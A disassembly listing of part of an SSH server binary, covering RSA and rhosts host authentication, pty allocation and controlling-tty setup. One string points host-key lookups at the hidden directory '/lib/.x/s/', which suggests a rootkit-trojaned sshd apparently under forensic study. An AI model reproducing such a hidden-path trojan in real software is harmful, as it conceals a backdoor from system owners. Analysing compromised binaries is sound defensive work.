0804f4a6   f2 ae                           repnz scas %es:(%edi),%al
0804f4a8   f7 d1                           not      %ecx
0804f4aa   49                              dec      %ecx
0804f4ab   51                              push     %ecx
0804f4ac   56                              push     %esi
0804f4ad   83 ec 08                        sub      $0x8,%esp
0804f4b0   e8 77 18 00 00                  call     08050d2c <Unknown0056>
0804f4b5   5a                              pop      %edx
0804f4b6   59                              pop      %ecx
0804f4b7   50                              push     %eax
0804f4b8   57                              push     %edi
0804f4b9   e8 6e 17 00 00                  call     08050c2c <Unknown0055>
0804f4be   89 04 24                        mov      %eax,(%esp,1)
0804f4c1   e8 2a 10 00 00                  call     080504f0 <Unknown0051>
0804f4c6   43                              inc      %ebx
0804f4c7   83 c4 10                        add      $0x10,%esp
0804f4ca   85 c0                           test     %eax,%eax
0804f4cc   0f 84 22 fb ff ff               je       0804eff4 <Unknown0029+0x164>   ;-1246 'x22 xfb xff xff' """
0804f4d2   83 ec 0c                        sub      $0xc,%esp
0804f4d5   56                              push     %esi
0804f4d6   e8 35 7a 00 00                  call     08056f10 <Unknown0172>
0804f4db   83 c4 10                        add      $0x10,%esp
0804f4de   eb 3c                           jmp      0804f51c <Unknown0029+0x68c>
0804f4e0   53                              push     %ebx
0804f4e1   ff b5 54 df ff ff               pushl    0xffffdf54(%ebp)   ;-8364 'x54 xdf xff xff' "T"
0804f4e7   68 30 de 06 08                  push     $0x806de30   ;[in .rodata] 1752396590 'x2e x73 x73 x68'
                                                                 ".ssh/authorized_keys"
0804f4ec   68 c0 e1 06 08                  push     $0x806e1c0   ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad options
                                                                 in %.100s file, line %lu: %.50s"
0804f4f1   e8 26 07 00 00                  call     0804fc1c <Unknown0036>
0804f4f6   53                              push     %ebx
0804f4f7   ff b5 54 df ff ff               pushl    0xffffdf54(%ebp)   ;-8364 'x54 xdf xff xff' "T"
0804f4fd   68 30 de 06 08                  push     $0x806de30   ;[in .rodata] 1752396590 'x2e x73 x73 x68'
                                                                 ".ssh/authorized_keys"
0804f502   68 c0 e1 06 08                  push     $0x806e1c0   ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad options
                                                                 in %.100s file, line %lu: %.50s"
0804f507   e8 70 72 00 00                  call     0805677c <Unknown0156>
0804f50c   83 c4 20                        add      $0x20,%esp
0804f50f   c7 85 5c df ff ff 00 00 00 00   movl     $0x0,0xffffdf5c(%ebp)   ;0 'x0 x0 x0 x0' ""
0804f519   eb 3b                           jmp      0804f556 <Unknown0029+0x6c6>
0804f51b   90                              nop
0804f51c   8a 13                           mov      (%ebx),%dl
0804f51e   84 d2                           test     %dl,%dl
0804f520   75 12                           jne      0804f534 <Unknown0029+0x6a4>
0804f522   83 ec 0c                        sub      $0xc,%esp
0804f525   68 00 e2 06 08                  push     $0x806e200   ;[in .rodata] 1936160066 'x42 x75 x67 x73' "Bugs in
                                                                 auth-rsa.c option processing."
0804f52a   e8 2d 0a 00 00                  call     0804ff5c <Unknown0044>
0804f52f   83 c4 10                        add      $0x10,%esp
```

```
0804f532   8a 13              mov      (%ebx),%dl
0804f534   80 fa 20           cmp      $0x20,%dl
0804f537   74 1d              je       0804f556 <Unknown0029+0x6c6>
0804f539   80 fa 09           cmp      $0x9,%dl
0804f53c   74 18              je       0804f556 <Unknown0029+0x6c6>
0804f53e   80 fa 2c           cmp      $0x2c,%dl
0804f541   75 9d              jne      0804f4e0 <Unknown0029+0x650>
0804f543   43                 inc      %ebx
0804f544   8a 03              mov      (%ebx),%al
0804f546   84 c0              test     %al,%al
0804f548   74 0c              je       0804f556 <Unknown0029+0x6c6>
0804f54a   3c 20              cmp      $0x20,%al
0804f54c   74 08              je       0804f556 <Unknown0029+0x6c6>
0804f54e   3c 09              cmp      $0x9,%al
0804f550   0f 85 06 fb ff ff  jne      0804f05c <Unknown0029+0x1cc>   ;-1274 'x6 xfb xff xff' ""
0804f556   8b 9d 5c df ff ff  mov      0xffffdf5c(%ebp),%ebx   ;-8356 'x5c xdf xff xff' "\"
0804f55c   85 db              test     %ebx,%ebx
0804f55e   75 23              jne      0804f583 <Unknown0029+0x6f3>
0804f560   51                 push     %ecx
0804f561   ff b5 58 df ff ff  pushl    0xffffdf58(%ebp)    ;-8360 'x58 xdf xff xff' "X"
0804f567   68 00 20 00 00     push     $0x2000   ;8192 'x0 x20 x0 x0' ""
0804f56c   8d 85 e8 df ff ff  lea      0xffffdfe8(%ebp),%eax   ;-8216 'xe8 xdf xff xff' ""
0804f572   50                 push     %eax
0804f573   e8 68 f8 00 00     call     0805ede0 <Unknown0285>
0804f578   83 c4 10           add      $0x10,%esp
0804f57b   85 c0              test     %eax,%eax
0804f57d   0f 85 19 f9 ff ff  jne      0804ee9c <Unknown0029+0xc>   ;-1767 'x19 xf9 xff xff' ""
0804f583   83 ec 0c           sub      $0xc,%esp
0804f586   ff b5 58 df ff ff  pushl    0xffffdf58(%ebp)    ;-8360 'x58 xdf xff xff' "X"
0804f58c   e8 1f f5 00 00     call     0805eab0 <Unknown0280>
0804f591   8d 85 c8 df ff ff  lea      0xffffdfc8(%ebp),%eax   ;-8248 'xc8 xdf xff xff' ""
0804f597   89 04 24           mov      %eax,(%esp,1)
0804f59a   e8 61 12 01 00     call     08060800 <Unknown0307>
0804f59f   8d 85 d8 df ff ff  lea      0xffffdfd8(%ebp),%eax   ;-8232 'xd8 xdf xff xff' ""
0804f5a5   89 04 24           mov      %eax,(%esp,1)
0804f5a8   e8 53 12 01 00     call     08060800 <Unknown0307>
0804f5ad   8b 95 5c df ff ff  mov      0xffffdf5c(%ebp),%edx   ;-8356 'x5c xdf xff xff' "\"
0804f5b3   83 c4 10           add      $0x10,%esp
0804f5b6   85 d2              test     %edx,%edx
0804f5b8   74 10              je       0804f5ca <Unknown0029+0x73a>
0804f5ba   83 ec 0c           sub      $0xc,%esp
0804f5bd   68 26 e2 06 08     push     $0x806e226   ;[in .rodata] 541152082 'x52 x53 x41 x20' "RSA
                                                       authentication accepted."
0804f5c2   e8 b5 71 00 00     call     0805677c <Unknown0156>
0804f5c7   83 c4 10           add      $0x10,%esp
0804f5ca   8b 85 5c df ff ff  mov      0xffffdf5c(%ebp),%eax   ;-8356 'x5c xdf xff xff' "\"
0804f5d0   8d 65 f4           lea      0xfffffff4(%ebp),%esp
0804f5d3   5b                 pop      %ebx
0804f5d4   5e                 pop      %esi
0804f5d5   5f                 pop      %edi
0804f5d6   5d                 pop      %ebp
0804f5d7   c3                 ret


   ;
   ; >---------------------<  Subroutine #  30 >---------------------<
   ;
0804f5d8 <Unknown0030>:
0804f5d8   55                 push     %ebp
0804f5d9   89 e5              mov      %esp,%ebp
0804f5db   57                 push     %edi
0804f5dc   56                 push     %esi
0804f5dd   53                 push     %ebx
0804f5de   83 ec 14           sub      $0x14,%esp
0804f5e1   ff 75 10           pushl    0x10(%ebp)
0804f5e4   68 60 e2 06 08     push     $0x806e260   ;[in .rodata] 1769566804 'x54 x72 x79 x69' "Trying
                                                       rhosts with RSA host authentication for %.100s"
0804f5e9   8b 7d 20           mov      0x20(%ebp),%edi
0804f5ec   8b 75 24           mov      0x24(%ebp),%esi
0804f5ef   8b 5d 28           mov      0x28(%ebp),%ebx
0804f5f2   e8 89 07 00 00     call     0804fd80 <Unknown0039>
0804f5f7   89 1c 24           mov      %ebx,(%esp,1)
0804f5fa   56                 push     %esi
0804f5fb   57                 push     %edi
0804f5fc   ff 75 10           pushl    0x10(%ebp)
0804f5ff   ff 75 0c           pushl    0xc(%ebp)
0804f602   e8 bd ef ff ff     call     0804e5c4 <Unknown0024>
0804f607   83 c4 20           add      $0x20,%esp
0804f60a   85 c0              test     %eax,%eax
0804f60c   75 0a              jne      0804f618 <Unknown0030+0x40>
0804f60e   31 c0              xor      %eax,%eax
0804f610   e9 fb 00 00 00     jmp      0804f710 <Unknown0030+0x138>   ;251 'xfb x0 x0 x0' ""
0804f615   8d 76 00           lea      0x0(%esi),%esi
0804f618   e8 0f 16 00 00     call     08050c2c <Unknown0055>
```

```
0804f61d  83 ec 08                sub     $0x8,%esp
0804f620  89 c3                   mov     %eax,%ebx
0804f622  53                      push    %ebx
0804f623  68 a0 e2 06 08          push    $0x806e2a0   ;[in .rodata] 1936681042 'x52 x68 x6f x73' "Rhosts RSA
                                                        authentication: canonical host %.900s"
0804f628  e8 53 07 00 00          call    0804fd80 <Unknown0039>
0804f62d  5a                      pop     %edx
0804f62e  59                      pop     %ecx
0804f62f  8b 45 0c                mov     0xc(%ebp),%eax
0804f632  ff 70 08                pushl   0x8(%eax)
0804f635  68 d1 e2 06 08          push    $0x806e2d1   ;[in .rodata] 1932406654 'x7e x2f x2e x73'
                                                        "~/.ssh/known_hosts"
0804f63a  e8 41 2b 00 00          call    08052180 <Unknown0064>
0804f63f  5f                      pop     %edi
0804f640  89 c6                   mov     %eax,%esi
0804f642  58                      pop     %eax
0804f643  ff 75 1c                pushl   0x1c(%ebp)
0804f646  ff 75 18                pushl   0x18(%ebp)
0804f649  ff 75 14                pushl   0x14(%ebp)
0804f64c  53                      push    %ebx
0804f64d  68 e4 e2 06 08          push    $0x806e2e4   ;[in .rodata] 1651076143 'x2f x6c x69 x62'
                                                        "/lib/.x/s/ssh_known_hosts"
0804f652  8b 45 0c                mov     0xc(%ebp),%eax
0804f655  ff 70 08                pushl   0x8(%eax)
0804f658  e8 bb 0f 00 00          call    08050618 <Unknown0052>
0804f65d  83 c4 20                add     $0x20,%esp
0804f660  85 c0                   test    %eax,%eax
0804f662  74 5c                   je      0804f6c0 <Unknown0030+0xe8>
0804f664  83 ec 08                sub     $0x8,%esp
0804f667  ff 75 1c                pushl   0x1c(%ebp)
0804f66a  ff 75 18                pushl   0x18(%ebp)
0804f66d  ff 75 14                pushl   0x14(%ebp)
0804f670  53                      push    %ebx
0804f671  56                      push    %esi
0804f672  8b 45 0c                mov     0xc(%ebp),%eax
0804f675  ff 70 08                pushl   0x8(%eax)
0804f678  e8 9b 0f 00 00          call    08050618 <Unknown0052>
0804f67d  83 c4 20                add     $0x20,%esp
0804f680  85 c0                   test    %eax,%eax
0804f682  74 3c                   je      0804f6c0 <Unknown0030+0xe8>
0804f684  83 ec 0c                sub     $0xc,%esp
0804f687  68 00 e3 06 08          push    $0x806e300   ;[in .rodata] 1936681042 'x52 x68 x6f x73' "Rhosts with
                                                        RSA host authentication denied: unknown or invalid host
                                                        key"
0804f68c  e8 ef 06 00 00          call    0804fd80 <Unknown0039>
0804f691  c7 04 24 60 e3 06 08    movl    $0x806e360,(%esp,1)   ;[in .rodata] 1920298841 'x59 x6f x75 x72'
                                                        "Your host key cannot be verified: unknown or
                                                        invalid host key."
0804f698  e8 df 70 00 00          call    0805677c <Unknown0156>
0804f69d  e8 8a 15 00 00          call    08050c2c <Unknown0055>
0804f6a2  5a                      pop     %edx
0804f6a3  59                      pop     %ecx
0804f6a4  50                      push    %eax
0804f6a5  68 a0 e3 06 08          push    $0x806e3a0   ;[in .rodata] 543516756 'x54 x68 x65 x20' "The host
                                                        name used to check the key was '%.200s'."
0804f6aa  e8 cd 70 00 00          call    0805677c <Unknown0156>
0804f6af  c7 04 24 e0 e3 06 08    movl    $0x806e3e0,(%esp,1)   ;[in .rodata] 544830036 'x54 x72 x79 x20' "Try
                                                        logging back from the server machine with the
                                                        canonical host name using ssh, and then try
                                                        again."
0804f6b6  e8 c1 70 00 00          call    0805677c <Unknown0156>
0804f6bb  31 c0                   xor     %eax,%eax
0804f6bd  eb 51                   jmp     0804f710 <Unknown0030+0x138>
0804f6bf  90                      nop
0804f6c0  ff 75 1c                pushl   0x1c(%ebp)
0804f6c3  ff 75 18                pushl   0x18(%ebp)
0804f6c6  ff 75 14                pushl   0x14(%ebp)
0804f6c9  ff 75 08                pushl   0x8(%ebp)
0804f6cc  e8 eb f3 ff ff          call    0804eabc <Unknown0026>
0804f6d1  83 c4 10                add     $0x10,%esp
0804f6d4  85 c0                   test    %eax,%eax
0804f6d6  75 14                   jne     0804f6ec <Unknown0030+0x114>
0804f6d8  83 ec 08                sub     $0x8,%esp
0804f6db  53                      push    %ebx
0804f6dc  68 60 e4 06 08          push    $0x806e460   ;[in .rodata] 1701407811 'x43 x6c x69 x65' "Client on
                                                        %.800s failed to respond correctly to host
                                                        authentication."
0804f6e1  e8 36 05 00 00          call    0804fc1c <Unknown0036>
0804f6e6  31 c0                   xor     %eax,%eax
0804f6e8  eb 26                   jmp     0804f710 <Unknown0030+0x138>
0804f6ea  89 f6                   mov     %esi,%esi
0804f6ec  53                      push    %ebx
0804f6ed  ff 75 10                pushl   0x10(%ebp)
```

```
0804f6f0  8b 45 0c              mov     0xc(%ebp),%eax
0804f6f3  ff 30                 pushl   (%eax)
0804f6f5  68 c0 e4 06 08        push    $0x806e4c0   ;[in .rodata] 1936681042 'x52 x68 x6f x73' "Rhosts with
                                                     RSA host authentication accepted for %.100s, %.100s on
                                                     %.700s."
0804f6fa  e8 1d 05 00 00        call    0804fc1c <Unknown0036>
0804f6ff  c7 04 24 20 e5 06 08  movl    $0x806e520,(%esp,1)  ;[in .rodata] 1936681042 'x52 x68 x6f x73'
                                                             "Rhosts with RSA host authentication
                                                             accepted."
0804f706  e8 71 70 00 00        call    0805677c <Unknown0156>
0804f70b  b8 01 00 00 00        mov     $0x1,%eax    ;1 'x1 x0 x0 x0' ""
0804f710  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0804f713  5b                    pop     %ebx
0804f714  5e                    pop     %esi
0804f715  5f                    pop     %edi
0804f716  5d                    pop     %ebp
0804f717  c3                    ret


  ;
  ; >--------------------<  Subroutine #  31 >--------------------<
  ;
0804f718 <Unknown0031>:
0804f718  55                    push    %ebp
0804f719  89 e5                 mov     %esp,%ebp
0804f71b  57                    push    %edi
0804f71c  56                    push    %esi
0804f71d  53                    push    %ebx
0804f71e  83 ec 0c              sub     $0xc,%esp
0804f721  8b 7d 10              mov     0x10(%ebp),%edi
0804f724  e8 13 ad ff ff        call    0804a43c <getpt>
0804f729  89 c3                 mov     %eax,%ebx
0804f72b  85 db                 test    %ebx,%ebx
0804f72d  79 1d                 jns     0804f74c <Unknown0031+0x34>
0804f72f  83 ec 10              sub     $0x10,%esp
0804f732  e8 05 a7 ff ff        call    08049e3c <__errno_location>
0804f737  5b                    pop     %ebx
0804f738  ff 30                 pushl   (%eax)
0804f73a  e8 ad a6 ff ff        call    08049dec <strerror>
0804f73f  5a                    pop     %edx
0804f740  59                    pop     %ecx
0804f741  50                    push    %eax
0804f742  68 60 e5 06 08        push    $0x806e560   ;[in .rodata] 1986356271 'x2f x64 x65 x76' "/dev/ptmx:
                                                     %.100s"
0804f747  eb 57                 jmp     0804f7a0 <Unknown0031+0x88>
0804f749  8d 76 00              lea     0x0(%esi),%esi
0804f74c  83 ec 0c              sub     $0xc,%esp
0804f74f  53                    push    %ebx
0804f750  e8 27 a5 ff ff        call    08049c7c <grantpt>
0804f755  83 c4 10              add     $0x10,%esp
0804f758  85 c0                 test    %eax,%eax
0804f75a  79 1c                 jns     0804f778 <Unknown0031+0x60>
0804f75c  83 ec 10              sub     $0x10,%esp
0804f75f  e8 d8 a6 ff ff        call    08049e3c <__errno_location>
0804f764  5f                    pop     %edi
0804f765  ff 30                 pushl   (%eax)
0804f767  e8 80 a6 ff ff        call    08049dec <strerror>
0804f76c  5b                    pop     %ebx
0804f76d  5e                    pop     %esi
0804f76e  50                    push    %eax
0804f76f  68 72 e5 06 08        push    $0x806e572   ;[in .rodata] 1851880039 'x67 x72 x61 x6e' "grantpt:
                                                     %.100s"
0804f774  eb 2a                 jmp     0804f7a0 <Unknown0031+0x88>
0804f776  89 f6                 mov     %esi,%esi
0804f778  83 ec 0c              sub     $0xc,%esp
0804f77b  53                    push    %ebx
0804f77c  e8 0b ad ff ff        call    0804a48c <unlockpt>
0804f781  83 c4 10              add     $0x10,%esp
0804f784  85 c0                 test    %eax,%eax
0804f786  79 24                 jns     0804f7ac <Unknown0031+0x94>
0804f788  83 ec 10              sub     $0x10,%esp
0804f78b  e8 ac a6 ff ff        call    08049e3c <__errno_location>
0804f790  59                    pop     %ecx
0804f791  ff 30                 pushl   (%eax)
0804f793  e8 54 a6 ff ff        call    08049dec <strerror>
0804f798  5f                    pop     %edi
0804f799  5a                    pop     %edx
0804f79a  50                    push    %eax
0804f79b  68 82 e5 06 08        push    $0x806e582   ;[in .rodata] 1869377141 'x75 x6e x6c x6f' "unlockpt:
                                                     %.100s"
0804f7a0  e8 63 06 00 00        call    0804fe08 <Unknown0040>
0804f7a5  31 c0                 xor     %eax,%eax
0804f7a7  e9 25 01 00 00        jmp     0804f8d1 <Unknown0031+0x1b9>  ;293 'x25 x1 x0 x0' "%"
0804f7ac  83 ec 0c              sub     $0xc,%esp
```

```
0804f7af   53                        push    %ebx
0804f7b0   e8 37 a4 ff ff            call    08049bec <ptsname>
0804f7b5   89 c6                     mov     %eax,%esi
0804f7b7   83 c4 10                  add     $0x10,%esp
0804f7ba   85 f6                     test    %esi,%esi
0804f7bc   75 10                     jne     0804f7ce <Unknown0031+0xb6>
0804f7be   83 ec 0c                  sub     $0xc,%esp
0804f7c1   68 a0 e5 06 08            push    $0x806e5a0   ;[in .rodata] 1986096211 'x53 x6c x61 x76' "Slave pty
                                                          side name could not be obtained."
0804f7c6   e8 3d 06 00 00            call    0804fe08 <Unknown0040>
0804f7cb   83 c4 10                  add     $0x10,%esp
0804f7ce   83 ec 08                  sub     $0x8,%esp
0804f7d1   56                        push    %esi
0804f7d2   57                        push    %edi
0804f7d3   e8 14 ad ff ff            call    0804a4ec <strcpy>
0804f7d8   59                        pop     %ecx
0804f7d9   5e                        pop     %esi
0804f7da   8b 45 08                  mov     0x8(%ebp),%eax
0804f7dd   89 18                     mov     %ebx,(%eax)
0804f7df   68 02 01 00 00            push    $0x102   ;258 'x2 x1 x0 x0' ""
0804f7e4   57                        push    %edi
0804f7e5   e8 12 ab ff ff            call    0804a2fc <open>
0804f7ea   83 c4 10                  add     $0x10,%esp
0804f7ed   8b 55 0c                  mov     0xc(%ebp),%edx
0804f7f0   85 c0                     test    %eax,%eax
0804f7f2   89 02                     mov     %eax,(%edx)
0804f7f4   79 32                     jns     0804f828 <Unknown0031+0x110>
0804f7f6   83 ec 10                  sub     $0x10,%esp
0804f7f9   e8 3e a6 ff ff            call    08049e3c <__errno_location>
0804f7fe   5a                        pop     %edx
0804f7ff   ff 30                     pushl   (%eax)
0804f801   e8 e6 a5 ff ff            call    08049dec <strerror>
0804f806   83 c4 0c                  add     $0xc,%esp
0804f809   50                        push    %eax
0804f80a   57                        push    %edi
0804f80b   68 cb e5 06 08            push    $0x806e5cb   ;[in .rodata] 808529445 'x25 x2e x31 x30' "%.100s:
                                                          %.100s"
0804f810   e8 f3 05 00 00            call    0804fe08 <Unknown0040>
0804f815   5e                        pop     %esi
0804f816   8b 45 08                  mov     0x8(%ebp),%eax
0804f819   ff 30                     pushl   (%eax)
0804f81b   e8 bc a4 ff ff            call    08049cdc <close>
0804f820   31 c0                     xor     %eax,%eax
0804f822   e9 aa 00 00 00            jmp     0804f8d1 <Unknown0031+0x1b9>   ;170 'xaa x0 x0 x0' ""
0804f827   90                        nop
0804f828   83 ec 0c                  sub     $0xc,%esp
0804f82b   50                        push    %eax
0804f82c   e8 8b a7 ff ff            call    08049fbc <isastream>
0804f831   83 c4 10                  add     $0x10,%esp
0804f834   85 c0                     test    %eax,%eax
0804f836   0f 84 90 00 00 00         je      0804f8cc <Unknown0031+0x1b4>   ;144 'x90 x0 x0 x0' ""
0804f83c   53                        push    %ebx
0804f83d   68 da e5 06 08            push    $0x806e5da   ;[in .rodata] 1835365488 'x70 x74 x65 x6d' "ptem"
0804f842   68 02 53 00 00            push    $0x5302   ;21250 'x2 x53 x0 x0' ""
0804f847   8b 55 0c                  mov     0xc(%ebp),%edx
0804f84a   ff 32                     pushl   (%edx)
0804f84c   e8 4b ab ff ff            call    0804a39c <ioctl>
0804f851   83 c4 10                  add     $0x10,%esp
0804f854   85 c0                     test    %eax,%eax
0804f856   79 20                     jns     0804f878 <Unknown0031+0x160>
0804f858   83 ec 10                  sub     $0x10,%esp
0804f85b   e8 dc a5 ff ff            call    08049e3c <__errno_location>
0804f860   59                        pop     %ecx
0804f861   ff 30                     pushl   (%eax)
0804f863   e8 84 a5 ff ff            call    08049dec <strerror>
0804f868   5f                        pop     %edi
0804f869   5a                        pop     %edx
0804f86a   50                        push    %eax
0804f86b   68 df e5 06 08            push    $0x806e5df   ;[in .rodata] 1952673641 'x69 x6f x63 x74' "ioctl
                                                          I_PUSH ptem: %.100s"
0804f870   e8 93 05 00 00            call    0804fe08 <Unknown0040>
0804f875   83 c4 10                  add     $0x10,%esp
0804f878   56                        push    %esi
0804f879   68 f9 e5 06 08            push    $0x806e5f9   ;[in .rodata] 1702126700 'x6c x64 x74 x65' "ldterm"
0804f87e   68 02 53 00 00            push    $0x5302   ;21250 'x2 x53 x0 x0' ""
0804f883   8b 45 0c                  mov     0xc(%ebp),%eax
0804f886   ff 30                     pushl   (%eax)
0804f888   e8 0f ab ff ff            call    0804a39c <ioctl>
0804f88d   83 c4 10                  add     $0x10,%esp
0804f890   85 c0                     test    %eax,%eax
0804f892   79 20                     jns     0804f8b4 <Unknown0031+0x19c>
0804f894   83 ec 10                  sub     $0x10,%esp
0804f897   e8 a0 a5 ff ff            call    08049e3c <__errno_location>
0804f89c   5b                        pop     %ebx
```

```
0804f89d  ff 30              pushl   (%eax)
0804f89f  e8 48 a5 ff ff     call    08049dec <strerror>
0804f8a4  5a                 pop     %edx
0804f8a5  59                 pop     %ecx
0804f8a6  50                 push    %eax
0804f8a7  68 00 e6 06 08     push    $0x806e600   ;[in .rodata] 1952673641 'x69 x6f x63 x74' "ioctl
                                                   I_PUSH ldterm: %.100s"
0804f8ac  e8 57 05 00 00     call    0804fe08 <Unknown0040>
0804f8b1  83 c4 10           add     $0x10,%esp
0804f8b4  50                 push    %eax
0804f8b5  68 1c e6 06 08     push    $0x806e61c   ;[in .rodata] 1868788852 'x74 x74 x63 x6f' "ttcompat"
0804f8ba  68 02 53 00 00     push    $0x5302      ;21250 'x2 x53 x0 x0' ""
0804f8bf  8b 55 0c           mov     0xc(%ebp),%edx
0804f8c2  ff 32              pushl   (%edx)
0804f8c4  e8 d3 aa ff ff     call    0804a39c <ioctl>
0804f8c9  83 c4 10           add     $0x10,%esp
0804f8cc  b8 01 00 00 00     mov     $0x1,%eax    ;1 'x1 x0 x0 x0' ""
0804f8d1  8d 65 f4           lea     0xfffffff4(%ebp),%esp
0804f8d4  5b                 pop     %ebx
0804f8d5  5e                 pop     %esi
0804f8d6  5f                 pop     %edi
0804f8d7  5d                 pop     %ebp
0804f8d8  c3                 ret
0804f8d9  8d 76 00           lea     0x0(%esi),%esi


   ;
   ; >--------------------<  Subroutine #  32 >--------------------<
   ;
0804f8dc <Unknown0032>:
0804f8dc  55                 push    %ebp
0804f8dd  89 e5              mov     %esp,%ebp
0804f8df  53                 push    %ebx
0804f8e0  83 ec 08           sub     $0x8,%esp
0804f8e3  6a 00              push    $0x0
0804f8e5  6a 00              push    $0x0
0804f8e7  8b 5d 08           mov     0x8(%ebp),%ebx
0804f8ea  53                 push    %ebx
0804f8eb  e8 4c a3 ff ff     call    08049c3c <chown>
0804f8f0  83 c4 10           add     $0x10,%esp
0804f8f3  85 c0              test    %eax,%eax
0804f8f5  79 22              jns     0804f919 <Unknown0032+0x3d>
0804f8f7  83 ec 10           sub     $0x10,%esp
0804f8fa  e8 3d a5 ff ff     call    08049e3c <__errno_location>
0804f8ff  59                 pop     %ecx
0804f900  ff 30              pushl   (%eax)
0804f902  e8 e5 a4 ff ff     call    08049dec <strerror>
0804f907  83 c4 0c           add     $0xc,%esp
0804f90a  50                 push    %eax
0804f90b  53                 push    %ebx
0804f90c  68 40 e6 06 08     push    $0x806e640   ;[in .rodata] 2003789923 'x63 x68 x6f x77' "chown
                                                   %.100s 0 0 failed: %.100s"
0804f911  e8 6a 04 00 00     call    0804fd80 <Unknown0039>
0804f916  83 c4 10           add     $0x10,%esp
0804f919  83 ec 08           sub     $0x8,%esp
0804f91c  68 b6 01 00 00     push    $0x1b6       ;438 'xb6 x1 x0 x0' ""
0804f921  53                 push    %ebx
0804f922  e8 75 a5 ff ff     call    08049e9c <chmod>
0804f927  83 c4 10           add     $0x10,%esp
0804f92a  85 c0              test    %eax,%eax
0804f92c  79 22              jns     0804f950 <Unknown0032+0x74>
0804f92e  83 ec 10           sub     $0x10,%esp
0804f931  e8 06 a5 ff ff     call    08049e3c <__errno_location>
0804f936  5a                 pop     %edx
0804f937  ff 30              pushl   (%eax)
0804f939  e8 ae a4 ff ff     call    08049dec <strerror>
0804f93e  83 c4 0c           add     $0xc,%esp
0804f941  50                 push    %eax
0804f942  53                 push    %ebx
0804f943  68 60 e6 06 08     push    $0x806e660   ;[in .rodata] 1869441123 'x63 x68 x6d x6f' "chmod
                                                   %.100s 0666 failed: %.100s"
0804f948  e8 33 04 00 00     call    0804fd80 <Unknown0039>
0804f94d  83 c4 10           add     $0x10,%esp
0804f950  8b 5d fc           mov     0xfffffffc(%ebp),%ebx
0804f953  c9                 leave
0804f954  c3                 ret
0804f955  8d 76 00           lea     0x0(%esi),%esi


   ;
   ; >--------------------<  Subroutine #  33 >--------------------<
   ;
0804f958 <Unknown0033>:
0804f958  55                 push    %ebp
```

```
0804f959  89 e5              mov    %esp,%ebp
0804f95b  57                 push   %edi
0804f95c  56                 push   %esi
0804f95d  53                 push   %ebx
0804f95e  83 ec 14           sub    $0x14,%esp
0804f961  8b 7d 08           mov    0x8(%ebp),%edi
0804f964  8b 75 0c           mov    0xc(%ebp),%esi
0804f967  68 02 01 00 00     push   $0x102  ;258 'x2 x1 x0 x0' ""
0804f96c  68 81 e6 06 08     push   $0x806e681  ;[in .rodata] 1986356271 'x2f x64 x65 x76' "/dev/tty"
0804f971  e8 86 a9 ff ff     call   0804a2fc <open>
0804f976  89 c3              mov    %eax,%ebx
0804f978  83 c4 10           add    $0x10,%esp
0804f97b  85 db              test   %ebx,%ebx
0804f97d  78 19              js     0804f998 <Unknown0033+0x40>
0804f97f  50                 push   %eax
0804f980  6a 00              push   $0x0
0804f982  68 22 54 00 00     push   $0x5422  ;21538 'x22 x54 x0 x0' ""T"
0804f987  53                 push   %ebx
0804f988  e8 0f aa ff ff     call   0804a39c <ioctl>
0804f98d  89 1c 24           mov    %ebx,(%esp,1)
0804f990  e8 47 a3 ff ff     call   08049cdc <close>
0804f995  83 c4 10           add    $0x10,%esp
0804f998  83 ec 08           sub    $0x8,%esp
0804f99b  68 02 01 00 00     push   $0x102  ;258 'x2 x1 x0 x0' ""
0804f9a0  68 81 e6 06 08     push   $0x806e681  ;[in .rodata] 1986356271 'x2f x64 x65 x76' "/dev/tty"
0804f9a5  e8 52 a9 ff ff     call   0804a2fc <open>
0804f9aa  89 c3              mov    %eax,%ebx
0804f9ac  83 c4 10           add    $0x10,%esp
0804f9af  85 db              test   %ebx,%ebx
0804f9b1  78 18              js     0804f9cb <Unknown0033+0x73>
0804f9b3  83 ec 0c           sub    $0xc,%esp
0804f9b6  68 a0 e6 06 08     push   $0x806e6a0  ;[in .rodata] 1818845510 'x46 x61 x69 x6c' "Failed to
                                                  disconnect from controlling tty."
0804f9bb  e8 48 04 00 00     call   0804fe08 <Unknown0040>
0804f9c0  89 1c 24           mov    %ebx,(%esp,1)
0804f9c3  e8 14 a3 ff ff     call   08049cdc <close>
0804f9c8  83 c4 10           add    $0x10,%esp
0804f9cb  83 ec 0c           sub    $0xc,%esp
0804f9ce  68 e0 e6 06 08     push   $0x806e6e0  ;[in .rodata] 1953785171 'x53 x65 x74 x74' "Setting
                                                  controlling tty using TIOCSCTTY."
0804f9d3  e8 a8 03 00 00     call   0804fd80 <Unknown0039>
0804f9d8  83 c4 0c           add    $0xc,%esp
0804f9db  6a 00              push   $0x0
0804f9dd  68 0e 54 00 00     push   $0x540e  ;21518 'xe x54 x0 x0' ""
0804f9e2  ff 37              pushl  (%edi)
0804f9e4  e8 b3 a9 ff ff     call   0804a39c <ioctl>
0804f9e9  5a                 pop    %edx
0804f9ea  59                 pop    %ecx
0804f9eb  6a 00              push   $0x0
0804f9ed  6a 00              push   $0x0
0804f9ef  e8 68 a7 ff ff     call   0804a15c <setpgid>
0804f9f4  5b                 pop    %ebx
0804f9f5  58                 pop    %eax
0804f9f6  6a 02              push   $0x2
0804f9f8  56                 push   %esi
0804f9f9  e8 fe a8 ff ff     call   0804a2fc <open>
0804f9fe  89 c3              mov    %eax,%ebx
0804fa00  83 c4 10           add    $0x10,%esp
0804fa03  85 db              test   %ebx,%ebx
0804fa05  79 21              jns    0804fa28 <Unknown0033+0xd0>
0804fa07  83 ec 10           sub    $0x10,%esp
0804fa0a  e8 2d a4 ff ff     call   08049e3c <__errno_location>
0804fa0f  59                 pop    %ecx
0804fa10  ff 30              pushl  (%eax)
0804fa12  e8 d5 a3 ff ff     call   08049dec <strerror>
0804fa17  83 c4 0c           add    $0xc,%esp
0804fa1a  50                 push   %eax
0804fa1b  56                 push   %esi
0804fa1c  68 cb e5 06 08     push   $0x806e5cb  ;[in .rodata] 808529445 'x25 x2e x31 x30' "%.100s:
                                                  %.100s"
0804fa21  e8 e2 03 00 00     call   0804fe08 <Unknown0040>
0804fa26  eb 09              jmp    0804fa31 <Unknown0033+0xd9>
0804fa28  83 ec 0c           sub    $0xc,%esp
0804fa2b  53                 push   %ebx
0804fa2c  e8 ab a2 ff ff     call   08049cdc <close>
0804fa31  83 c4 10           add    $0x10,%esp
0804fa34  83 ec 08           sub    $0x8,%esp
0804fa37  6a 01              push   $0x1
